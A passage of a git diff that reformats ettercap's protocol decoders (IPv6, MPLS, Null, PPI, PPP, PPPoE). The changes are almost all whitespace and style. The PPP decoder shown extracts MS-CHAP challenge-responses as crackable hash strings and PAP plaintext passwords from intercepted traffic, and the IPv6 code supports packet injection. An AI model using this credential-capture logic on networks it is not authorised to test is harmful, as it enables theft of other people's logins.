- u_int8 next_hdr; - u_int8 hop_limit; + u_int8 flow_lbl[3]; + u_int16 payload_len; + u_int8 next_hdr; + u_int8 hop_limit; - u_int8 saddr[IP6_ADDR_LEN]; - u_int8 daddr[IP6_ADDR_LEN]; + u_int8 saddr[IP6_ADDR_LEN]; + u_int8 daddr[IP6_ADDR_LEN]; }; struct ip6_ext_header { - u_int8 next_hdr; - u_int8 hdr_len; + u_int8 next_hdr; + u_int8 hdr_len; - /* Here must be options */ + /* Here must be options */ }; struct ip6_ident { @@ -62,7 +62,7 @@ struct ip6_ident { }; struct ip6_data { - u_int8 priority :4; + u_int8 priority : 4; }; /* protos */ @@ -93,7 +93,6 @@ void __init ip6_init(void) add_injector(CHAIN_LINKED, IP6_MAGIC, inject_ip6); } - FUNC_DECODER(decode_ip6) { FUNC_DECODER_PTR(next_decoder); @@ -102,7 +101,7 @@ FUNC_DECODER(decode_ip6) void *ident; ip6 = (struct ip6_header *)DECODE_DATA; - + if (ip6->payload_len == 0) { DEBUG_MSG("IPv6 jumbogram, Hop-By-Hop header should follow"); } @@ -111,10 +110,10 @@ FUNC_DECODER(decode_ip6) /* IP addresses */ ip_addr_init(&PACKET->L3.src, AF_INET6, (u_char *)&ip6->saddr); ip_addr_init(&PACKET->L3.dst, AF_INET6, (u_char *)&ip6->daddr); - + /* this is needed at upper layer to calculate the tcp payload size */ PACKET->L3.payload_len = ntohs(ip6->payload_len); - + /* other relevant infos */ PACKET->L3.header = (u_char *)DECODE_DATA; PACKET->L3.len = DECODED_LEN; @@ -122,10 +121,10 @@ FUNC_DECODER(decode_ip6) PACKET->L3.proto = htons(LL_TYPE_IP6); PACKET->L3.ttl = ip6->hop_limit; - if(PACKET->fwd_packet == NULL) { + if (PACKET->fwd_packet == NULL) { EXECUTE(GBL_SNIFF->check_forwarded, PACKET); /* if it is already forwarded */ - if(PACKET->flags & PO_FORWARDED) + if (PACKET->flags & PO_FORWARDED) return NULL; EXECUTE(GBL_SNIFF->set_forwardable, PACKET); PACKET->fwd_packet = (u_char *)DECODE_DATA; @@ -134,35 +133,35 @@ FUNC_DECODER(decode_ip6) /* calculate if the dest is local or not */ switch (ip_addr_is_local(&PACKET->L3.src, NULL)) { - case E_SUCCESS: - PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); - PACKET->PASSIVE.flags |= FP_HOST_LOCAL; - break; - case -E_NOTFOUND: - PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; - PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; - break; - case -E_INVALID: - PACKET->PASSIVE.flags = FP_UNKNOWN; - break; + case E_SUCCESS: + PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); + PACKET->PASSIVE.flags |= FP_HOST_LOCAL; + break; + case -E_NOTFOUND: + PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; + PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; + break; + case -E_INVALID: + PACKET->PASSIVE.flags = FP_UNKNOWN; + break; } - + next_decoder = get_decoder(NET6_LAYER, ip6->next_hdr); - if(next_decoder == NULL) { + if (next_decoder == NULL) { PACKET->L3.options = NULL; PACKET->L3.optlen = 0; next_decoder = get_decoder(PROTO_LAYER, ip6->next_hdr); } else { PACKET->L3.options = (u_char *)&ip6[1]; } - + /* HOOK POINT: HOOK_PACKET_IP6 */ hook_point(HOOK_PACKET_IP6, po); - if(!GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read) { + if (!GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read) { ip6_create_ident(&ident, PACKET); - if(session_get(&s, ident, sizeof(struct ip6_ident)) == -E_NOTFOUND) { + if (session_get(&s, ident, sizeof(struct ip6_ident)) == -E_NOTFOUND) { ip6_create_session(&s, PACKET); session_put(s); } @@ -170,31 +169,31 @@ FUNC_DECODER(decode_ip6) SESSION_PASSTHRU(s, PACKET); } - + /* passing the packet to options or upper-layer decoder */ EXECUTE_DECODER(next_decoder); - + /* - * External L3 header sets itself + * External L3 header sets itself * as the packet to be forwarded. */ /* XXX - recheck this */ - if(!GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read && (PACKET->flags & PO_FORWARDABLE)) { - if(PACKET->flags & PO_MODIFIED) { + if (!GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read && (PACKET->flags & PO_FORWARDABLE)) { + if (PACKET->flags & PO_MODIFIED) { ORDER_ADD_SHORT(PACKET->L3.payload_len, PACKET->DATA.delta); /* * In case some upper level encapsulated ip6 decoder * modified it ... (required for ip6 in ip6 encapsulation) */ - PACKET->L3.header = (u_char*)ip6; + PACKET->L3.header = (u_char *)ip6; PACKET->L3.len = IP6_HDR_LEN; PACKET->L3.payload_len = ntohs(ip6->payload_len); PACKET->fwd_len = PACKET->L3.payload_len + PACKET->L3.len; } } - + return NULL; } @@ -211,7 +210,7 @@ FUNC_DECODER(decode_ip6_ext) DECODED_LEN = ext_hdr->hdr_len + 1; next_decoder = get_decoder(NET6_LAYER, ext_hdr->next_hdr); - if(next_decoder == NULL) { + if (next_decoder == NULL) { next_decoder = get_decoder(PROTO_LAYER, ext_hdr->next_hdr); } @@ -230,10 +229,10 @@ FUNC_INJECTOR(inject_ip6) u_int16 plen; u_int16 flen; -// DEBUG_MSG("inject_ip6"); +// DEBUG_MSG("inject_ip6"); /* i think im paranoid */ - if(LENGTH + sizeof(struct ip6_header) > GBL_IFACE->mtu) + if (LENGTH + sizeof(struct ip6_header) > GBL_IFACE->mtu) return -E_NOTHANDLED; /* almost copied from ec_ip.c */ @@ -248,7 +247,7 @@ FUNC_INJECTOR(inject_ip6) s = PACKET->session; /* Renew session */ - if(session_get(&s, s->ident, sizeof(struct ip6_ident)) == -E_NOTFOUND) + if (session_get(&s, s->ident, sizeof(struct ip6_ident)) == -E_NOTFOUND) return -E_NOTFOUND; ident = s->ident; @@ -256,32 +255,32 @@ FUNC_INJECTOR(inject_ip6) data = s->data; ip6->priority = data->priority; - + flen = LENGTH; LENGTH += sizeof(struct ip6_header); - if(s->prev_session != NULL) { + if (s->prev_session != NULL) { PACKET->session = s->prev_session; - magic = *(u_int32 *) s->prev_session->ident; + magic = *(u_int32 *)s->prev_session->ident; EXECUTE_INJECTOR(CHAIN_LINKED, magic); - } + } plen = GBL_IFACE->mtu - LENGTH < PACKET->DATA.inject_len - ? GBL_IFACE->mtu - LENGTH : PACKET->DATA.inject_len; + ? GBL_IFACE->mtu - LENGTH : PACKET->DATA.inject_len; ip6->payload_len = htons(plen); - + PACKET->L3.len = flen + plen; PACKET->L3.header = (u_char *)ip6; - if(s->prev_session == NULL) { + if (s->prev_session == NULL) { PACKET->fwd_packet = PACKET->packet; PACKET->fwd_len = PACKET->L3.len; } return E_SUCCESS; } - + static size_t ip6_create_ident(void **i, struct packet_object *po) { struct ip6_header *ip6; @@ -305,12 +304,12 @@ static int ip6_match(void *ident_s, void *ident_c) struct ip6_ident *ids = ident_s; struct ip6_ident *idc = ident_c; - if(ids->magic != idc->magic) + if (ids->magic != idc->magic) return 0; - if(memcmp(&ids->flow_lbl, &idc->flow_lbl, 3)) + if (memcmp(&ids->flow_lbl, &idc->flow_lbl, 3)) return 0; - if(ip_addr_cmp(&ids->L3_src, &idc->L3_src)) + if (ip_addr_cmp(&ids->L3_src, &idc->L3_src)) return 0; return 1; @@ -336,4 +335,3 @@ static void ip6_create_session(struct ec_session **s, struct packet_object *po) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_mpls.c b/src/protocols/ec_mpls.c index 96bd207cc..c22189bfe 100644 --- a/src/protocols/ec_mpls.c +++ b/src/protocols/ec_mpls.c @@ -1,23 +1,23 @@ /* - ettercap -- MPLS decoder module - - Copyright (C) The Ettercap Dev Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- MPLS decoder module + * + * Copyright (C) The Ettercap Dev Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,9 +25,8 @@ /* globals */ -struct mpls_header -{ - u_int32 shim; +struct mpls_header { + u_int32 shim; /* * 20 bit for the label * 3 bit for priority @@ -53,7 +52,6 @@ void __init mpls_init(void) add_decoder(NET_LAYER, LL_TYPE_MPLS, decode_mpls); } - FUNC_DECODER(decode_mpls) { FUNC_DECODER_PTR(next_decoder); @@ -80,8 +78,6 @@ FUNC_DECODER(decode_mpls) return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_null.c b/src/protocols/ec_null.c index ffb2bd6ab..5ec15e20d 100644 --- a/src/protocols/ec_null.c +++ b/src/protocols/ec_null.c @@ -1,29 +1,28 @@ /* - ettercap -- Null/Loopback decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- Null/Loopback decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include #include - /* globals */ struct null_header { u_int32 proto; /* next protocol (usually) in host-byte order */ @@ -35,7 +34,6 @@ FUNC_DECODER(decode_null); FUNC_ALIGNER(align_null); void null_init(void); - /* * this function initiates the decoder and adds the entry in * the decoder table @@ -54,44 +52,44 @@ FUNC_DECODER(decode_null) DECODED_LEN = sizeof(struct null_header); - null = (struct null_header*)DECODE_DATA; + null = (struct null_header *)DECODE_DATA; /* * byte order can vary depending on the endianess of the system - * the packets have been captured + * the packets have been captured */ proto = ntohl(null->proto); - /* - * the proto (mainly for IPv6) need to be treated differently + /* + * the proto (mainly for IPv6) need to be treated differently * because because for the different BSD derivates the values * have not been standardized */ switch (proto) { - case AF_INET: /* IPv4 on any system */ - lltype = LL_TYPE_IP; - break; + case AF_INET: /* IPv4 on any system */ + lltype = LL_TYPE_IP; + break; #if AF_INET6 != AF_INET6_BSD - case AF_INET6_BSD: /* IPv6 on NetBSD,OpenBSD,BSD/OS */ + case AF_INET6_BSD: /* IPv6 on NetBSD,OpenBSD,BSD/OS */ #endif #if AF_INET6 != AF_INET6_FREEBSD - case AF_INET6_FREEBSD: /* IPv6 on FreeBSD,DragonFlyBSD */ + case AF_INET6_FREEBSD: /* IPv6 on FreeBSD,DragonFlyBSD */ #endif #if AF_INET6 != AF_INET6_DARWIN - case AF_INET6_DARWIN: /* IPv6 on Darwin/Mac OS X */ + case AF_INET6_DARWIN: /* IPv6 on Darwin/Mac OS X */ #endif #if AF_INET6 != AF_INET6_LINUX - case AF_INET6_LINUX: /* IPv6 on Linux */ + case AF_INET6_LINUX: /* IPv6 on Linux */ #endif - case AF_INET6: /* IPv6 on the compiling system */ - lltype = LL_TYPE_IP6; - break; - default: /* upper protocol not supported by ettercap */ - lltype = 0; + case AF_INET6: /* IPv6 on the compiling system */ + lltype = LL_TYPE_IP6; + break; + default: /* upper protocol not supported by ettercap */ + lltype = 0; } /* fill the packet object */ - PACKET->L2.header = (u_char*)DECODE_DATA; + PACKET->L2.header = (u_char *)DECODE_DATA; PACKET->L2.proto = IL_TYPE_NULL; PACKET->L2.len = DECODED_LEN; @@ -107,7 +105,6 @@ FUNC_DECODER(decode_null) EXECUTE_DECODER(next_decoder); return NULL; - } /* @@ -116,9 +113,8 @@ FUNC_DECODER(decode_null) FUNC_ALIGNER(align_null) { /* 16 is the nearest multiplier of 4 */ - return (16 - sizeof(struct null_header)); + return 16 - sizeof(struct null_header); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_ppi.c b/src/protocols/ec_ppi.c index 5791c3888..44eb27952 100644 --- a/src/protocols/ec_ppi.c +++ b/src/protocols/ec_ppi.c @@ -1,23 +1,23 @@ /* - ettercap -- per packet information processor - - Copyright (C) The Ettercap Dev Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- per packet information processor + * + * Copyright (C) The Ettercap Dev Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include #include @@ -29,45 +29,41 @@ void radiotap_init(void); /*******************************************/ void __init ppi_init(void) { - add_decoder(LINK_LAYER, IL_TYPE_PPI, decode_ppi); - add_aligner(IL_TYPE_PPI, align_ppi); + add_decoder(LINK_LAYER, IL_TYPE_PPI, decode_ppi); + add_aligner(IL_TYPE_PPI, align_ppi); } FUNC_DECODER(decode_ppi) { - FUNC_DECODER_PTR(next_decoder); - unsigned char* data = DECODE_DATA; - - if (PACKET->len <= 4) - { - // not enough data to be useful ppi - return NULL; - } - - if (data[0] != 0) - { - // unknown version field - return NULL; - } - - if (data[1] != 0) - { - // TODO handle unaligned data. What would this look like? - return NULL; - } - - uint16_t header_len = (data[3] << 8) | (data[2]); - if (header_len >= PACKET->len) - { - // not enough data to be interesting - return NULL; - } - - char next_hop = data[4]; - DECODED_LEN = header_len; - next_decoder = get_decoder(LINK_LAYER, next_hop); - EXECUTE_DECODER(next_decoder); - return NULL; + FUNC_DECODER_PTR(next_decoder); + unsigned char *data = DECODE_DATA; + + if (PACKET->len <= 4) { + // not enough data to be useful ppi + return NULL; + } + + if (data[0] != 0) { + // unknown version field + return NULL; + } + + if (data[1] != 0) { + // TODO handle unaligned data. What would this look like? + return NULL; + } + + uint16_t header_len = (data[3] << 8) | (data[2]); + if (header_len >= PACKET->len) { + // not enough data to be interesting + return NULL; + } + + char next_hop = data[4]; + DECODED_LEN = header_len; + next_decoder = get_decoder(LINK_LAYER, next_hop); + EXECUTE_DECODER(next_decoder); + return NULL; } /* @@ -81,4 +77,3 @@ FUNC_ALIGNER(align_ppi) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_ppp.c b/src/protocols/ec_ppp.c index ba2ee43a9..73a57a115 100644 --- a/src/protocols/ec_ppp.c +++ b/src/protocols/ec_ppp.c @@ -1,23 +1,23 @@ /* - ettercap -- PPP decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- PPP decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -28,14 +28,14 @@ /* globals */ struct ppp_header { - u_char address; - u_char control; + u_char address; + u_char control; u_int16 proto; }; struct ppp_lcp_header { - u_char code; - u_char ident; + u_char code; + u_char ident; u_int16 length; }; @@ -58,16 +58,16 @@ struct ppp_chap_challenge { } value; }; -#define PPP_PROTO_IP 0x0021 -#define PPP_PROTO_CHAP 0xc223 -#define PPP_PROTO_PAP 0xc023 -#define PPP_PROTO_LCP 0xc021 -#define PPP_PROTO_ECP 0x8053 -#define PPP_PROTO_CCP 0x80fd -#define PPP_PROTO_IPCP 0x8021 +#define PPP_PROTO_IP 0x0021 +#define PPP_PROTO_CHAP 0xc223 +#define PPP_PROTO_PAP 0xc023 +#define PPP_PROTO_LCP 0xc021 +#define PPP_PROTO_ECP 0x8053 +#define PPP_PROTO_CCP 0x80fd +#define PPP_PROTO_IPCP 0x8021 -#define PPP_CHAP_CODE_CHALLENGE 1 -#define PPP_CHAP_CODE_RESPONSE 2 +#define PPP_CHAP_CODE_CHALLENGE 1 +#define PPP_CHAP_CODE_RESPONSE 2 /* protos */ @@ -99,16 +99,15 @@ FUNC_DECODER(decode_ppp) u_int32 i; u_char auth_len; char user[128], dummy[3], temp[128], *pap_auth; - static char version=0, schallenge[512]; + static char version = 0, schallenge[512]; u_char digest[SHA_DIGEST_LENGTH]; SHA_CTX ctx; - ppph = (struct ppp_header *)DECODE_DATA; /* Set the L4 header for the hook */ PACKET->L4.header = (u_char *)DECODE_DATA; - + /* HOOK POINT: HOOK_PACKET_PPP */ hook_point(HOOK_PACKET_PPP, PACKET); @@ -116,24 +115,24 @@ FUNC_DECODER(decode_ppp) /* XXX - && or || ??? */ if (ppph->address != 0xff && ppph->control != 0x3) { proto = *((u_char *)ppph); - + if (proto != PPP_PROTO_IP) { proto = ntohs(*((u_int16 *)ppph)); DECODED_LEN = 2; - } else + } else DECODED_LEN = 1; - } else { proto = ntohs(ppph->proto); DECODED_LEN = sizeof(ppph); - - if (proto != PPP_PROTO_IP && proto != PPP_PROTO_CHAP && + + if (proto != PPP_PROTO_IP && proto != PPP_PROTO_CHAP && proto != PPP_PROTO_PAP && proto != PPP_PROTO_LCP && - proto != PPP_PROTO_ECP && proto != PPP_PROTO_CCP && - proto != PPP_PROTO_IPCP) { + proto != PPP_PROTO_ECP && proto != PPP_PROTO_CCP && + proto != PPP_PROTO_IPCP) + { proto = *((u_char *)ppph + 2); DECODED_LEN = 3; - } + } } /* Set the L4 header to LCP for subsequent hooks */ @@ -145,99 +144,96 @@ FUNC_DECODER(decode_ppp) if (proto == PPP_PROTO_IP) { /* If the payload is an IP packet... */ /* ...get the next decoder */ - next_decoder = get_decoder(NET_LAYER, LL_TYPE_IP); + next_decoder = get_decoder(NET_LAYER, LL_TYPE_IP); EXECUTE_DECODER(next_decoder); - - } else if (proto == PPP_PROTO_CHAP) { + } else if (proto == PPP_PROTO_CHAP) { /* Parse MSCHAP auth schemes */ lcph = (struct ppp_lcp_header *)(DECODE_DATA + DECODED_LEN); chapch = (struct ppp_chap_challenge *)(lcph + 1); - + switch (lcph->code) { - case PPP_CHAP_CODE_CHALLENGE: - - if (chapch->size == 8) { - schallenge[0]=0; - version = 1; - for (i=0; i<8; i++) { - snprintf(dummy, 3, "%02X", chapch->value.challenge_v1[i]); - strcat(schallenge, dummy); - } - } else if (chapch->size == 16) { - version = 2; - memcpy (schallenge, chapch->value.challenge_v2, chapch->size); + case PPP_CHAP_CODE_CHALLENGE: + + if (chapch->size == 8) { + schallenge[0] = 0; + version = 1; + for (i = 0; i < 8; i++) { + snprintf(dummy, 3, "%02X", chapch->value.challenge_v1[i]); + strcat(schallenge, dummy); } - else version = 0; - break; + } else if (chapch->size == 16) { + version = 2; + memcpy(schallenge, chapch->value.challenge_v2, chapch->size); + } else version = 0; + break; - case PPP_CHAP_CODE_RESPONSE: + case PPP_CHAP_CODE_RESPONSE: - if (version != 1 && version !=2) - break; - - i = ntohs(lcph->length) - 5 - chapch->size; - if (i > sizeof(user)-2) - i = sizeof(user)-2; + if (version != 1 && version != 2) + break; - memcpy(user, (u_char *)lcph + 5 + chapch->size, i); - user[i] = '\0'; + i = ntohs(lcph->length) - 5 - chapch->size; + if (i > sizeof(user) - 2) + i = sizeof(user) - 2; - /* Check if it's from PPP or PPTP */ - if (!ip_addr_null(&PACKET->L3.dst) && !ip_addr_null(&PACKET->L3.src)) { - DISSECT_MSG("\n\nTunnel PPTP: %s -> ", ip_addr_ntoa(&PACKET->L3.src, temp)); - DISSECT_MSG("%s\n", ip_addr_ntoa(&PACKET->L3.dst, temp)); - } + memcpy(user, (u_char *)lcph + 5 + chapch->size, i); + user[i] = '\0'; - DISSECT_MSG("PPP*MS-CHAP Password*%s:$MSCHAPv2$", user); + /* Check if it's from PPP or PPTP */ + if (!ip_addr_null(&PACKET->L3.dst) && !ip_addr_null(&PACKET->L3.src)) { + DISSECT_MSG("\n\nTunnel PPTP: %s -> ", ip_addr_ntoa(&PACKET->L3.src, temp)); + DISSECT_MSG("%s\n", ip_addr_ntoa(&PACKET->L3.dst, temp)); + } - if (version == 1) { - for (i = 0; i < 24; i++) - DISSECT_MSG("%02X", chapch->value.response_v1.lanman[i]); - DISSECT_MSG(":"); - for (i = 0; i < 24; i++) - DISSECT_MSG("%02X", chapch->value.response_v1.nt[i]); - DISSECT_MSG(":%s\n\n",schallenge); + DISSECT_MSG("PPP*MS-CHAP Password*%s:$MSCHAPv2$", user); - } else if (version == 2) { + if (version == 1) { + for (i = 0; i < 24; i++) + DISSECT_MSG("%02X", chapch->value.response_v1.lanman[i]); + DISSECT_MSG(":"); + for (i = 0; i < 24; i++) + DISSECT_MSG("%02X", chapch->value.response_v1.nt[i]); + DISSECT_MSG(":%s\n\n", schallenge); + } else if (version == 2) { /*#ifdef HAVE_OPENSSL */ - char *p; - - if ((p = strchr(user, '\\')) == NULL) - p = user; - else - p++; - - SHA1_Init(&ctx); - SHA1_Update(&ctx, chapch->value.response_v2.peer_challenge, 16); - SHA1_Update(&ctx, schallenge, 16); - SHA1_Update(&ctx, p, strlen(p)); - SHA1_Final(digest, &ctx); - - for (i = 0; i < 8; i++) - DISSECT_MSG("%02X", digest[i]); - DISSECT_MSG("$"); - - for (i = 0; i < 24; i++) - DISSECT_MSG("%02X",chapch->value.response_v2.nt[i]); - DISSECT_MSG("$%s\n\n", user); + char *p; + + if ((p = strchr(user, '\\')) == NULL) + p = user; + else + p++; + + SHA1_Init(&ctx); + SHA1_Update(&ctx, chapch->value.response_v2.peer_challenge, 16); + SHA1_Update(&ctx, schallenge, 16); + SHA1_Update(&ctx, p, strlen(p)); + SHA1_Final(digest, &ctx); + + for (i = 0; i < 8; i++) + DISSECT_MSG("%02X", digest[i]); + DISSECT_MSG("$"); + + for (i = 0; i < 24; i++) + DISSECT_MSG("%02X", chapch->value.response_v2.nt[i]); + DISSECT_MSG("$%s\n\n", user); /*#else - for (i = 0; i < 16; i++) - DISSECT_MSG("%02X", schallenge[i]); - DISSECT_MSG("$"); - for (i = 0; i < 24; i++) - DISSECT_MSG("%02X",chapch->value.response_v2.nt[i]); - DISSECT_MSG("$"); - for (i = 0; i < 16; i++) - DISSECT_MSG("%02X",chapch->value.response_v2.peer_challenge[i]); - DISSECT_MSG("$%s\n\n", user); -#endif*/ - } - version = 0; + * for (i = 0; i < 16; i++) + * DISSECT_MSG("%02X", schallenge[i]); + * DISSECT_MSG("$"); + * for (i = 0; i < 24; i++) + * DISSECT_MSG("%02X",chapch->value.response_v2.nt[i]); + * DISSECT_MSG("$"); + * for (i = 0; i < 16; i++) + * DISSECT_MSG("%02X",chapch->value.response_v2.peer_challenge[i]); + * DISSECT_MSG("$%s\n\n", user); + #endif*/ + } + version = 0; break; } } else if (proto == PPP_PROTO_PAP) { - /* Parse PAP auth scheme */ + /* Parse PAP auth scheme */ lcph = (struct ppp_lcp_header *)(DECODE_DATA + DECODED_LEN); pap_auth = (char *)(lcph + 1); @@ -245,36 +241,36 @@ FUNC_DECODER(decode_ppp) /* Check if it's from PPP or PPTP */ if (!ip_addr_null(&PACKET->L3.dst) && !ip_addr_null(&PACKET->L3.src)) { - DISSECT_MSG("\n\nTunnel PPTP: %s -> ", ip_addr_ntoa(&PACKET->L3.src, temp)); + DISSECT_MSG("\n\nTunnel PPTP: %s -> ", ip_addr_ntoa(&PACKET->L3.src, temp)); DISSECT_MSG("%s\n", ip_addr_ntoa(&PACKET->L3.dst, temp)); } - + DISSECT_MSG("PPP : PAP User: "); - + auth_len = *pap_auth; - if (auth_len > sizeof(temp)-2) - auth_len = sizeof(temp)-2; + if (auth_len > sizeof(temp) - 2) + auth_len = sizeof(temp) - 2; pap_auth++; memcpy(temp, pap_auth, auth_len); temp[auth_len] = 0; - DISSECT_MSG("%s\n",temp); - + DISSECT_MSG("%s\n", temp); + pap_auth += auth_len; auth_len = *pap_auth; pap_auth++; - if (auth_len > sizeof(temp)-2) - auth_len = sizeof(temp)-2; + if (auth_len > sizeof(temp) - 2) + auth_len = sizeof(temp) - 2; memcpy(temp, pap_auth, auth_len); temp[auth_len] = 0; - DISSECT_MSG("PPP : PAP Pass: %s\n\n", temp); + DISSECT_MSG("PPP : PAP Pass: %s\n\n", temp); } - } else if (proto == PPP_PROTO_LCP) { + } else if (proto == PPP_PROTO_LCP) { /* HOOK POINT: HOOK_PACKET_LCP */ hook_point(HOOK_PACKET_LCP, PACKET); - } else if (proto == PPP_PROTO_ECP || proto == PPP_PROTO_CCP) { + } else if (proto == PPP_PROTO_ECP || proto == PPP_PROTO_CCP) { /* HOOK POINT: HOOK_PACKET_ECP */ hook_point(HOOK_PACKET_ECP, PACKET); - } else if (proto == PPP_PROTO_IPCP) { + } else if (proto == PPP_PROTO_IPCP) { /* HOOK POINT: HOOK_PACKET_IPCP */ hook_point(HOOK_PACKET_IPCP, PACKET); } @@ -284,11 +280,10 @@ FUNC_DECODER(decode_ppp) FUNC_ALIGNER(align_ppp) { - // should be file only. nothing to align - return 0; + // should be file only. nothing to align + return 0; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_pppoe.c b/src/protocols/ec_pppoe.c index 59ea23e03..312f94cac 100644 --- a/src/protocols/ec_pppoe.c +++ b/src/protocols/ec_pppoe.c @@ -1,23 +1,23 @@ /* - ettercap -- PPP over Ethernet decoder module - - Copyright (C) The Ettercap Dev Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- PPP over Ethernet decoder module + * + * Copyright (C) The Ettercap Dev Team + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -25,13 +25,12 @@ /* globals */ -struct pppoe_header -{ - u_int8 version; - u_int8 session; - u_int16 id; - u_int16 len; - u_int16 proto; /* this is actually part of the PPP header */ +struct pppoe_header { + u_int8 version; + u_int8 session; + u_int16 id; + u_int16 len; + u_int16 proto; /* this is actually part of the PPP header */ }; /* protos */ @@ -51,7 +50,6 @@ void __init pppoe_init(void) add_decoder(NET_LAYER, LL_TYPE_PPPOE, decode_pppoe); } - FUNC_DECODER(decode_pppoe) { FUNC_DECODER_PTR(next_decoder); @@ -72,8 +70,6 @@ FUNC_DECODER(decode_pppoe) return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/protocols/ec_rawip.c b/src/protocols/ec_rawip.c index 438f791cf..9073aee75 100644 --- a/src/protocols/ec_rawip.c 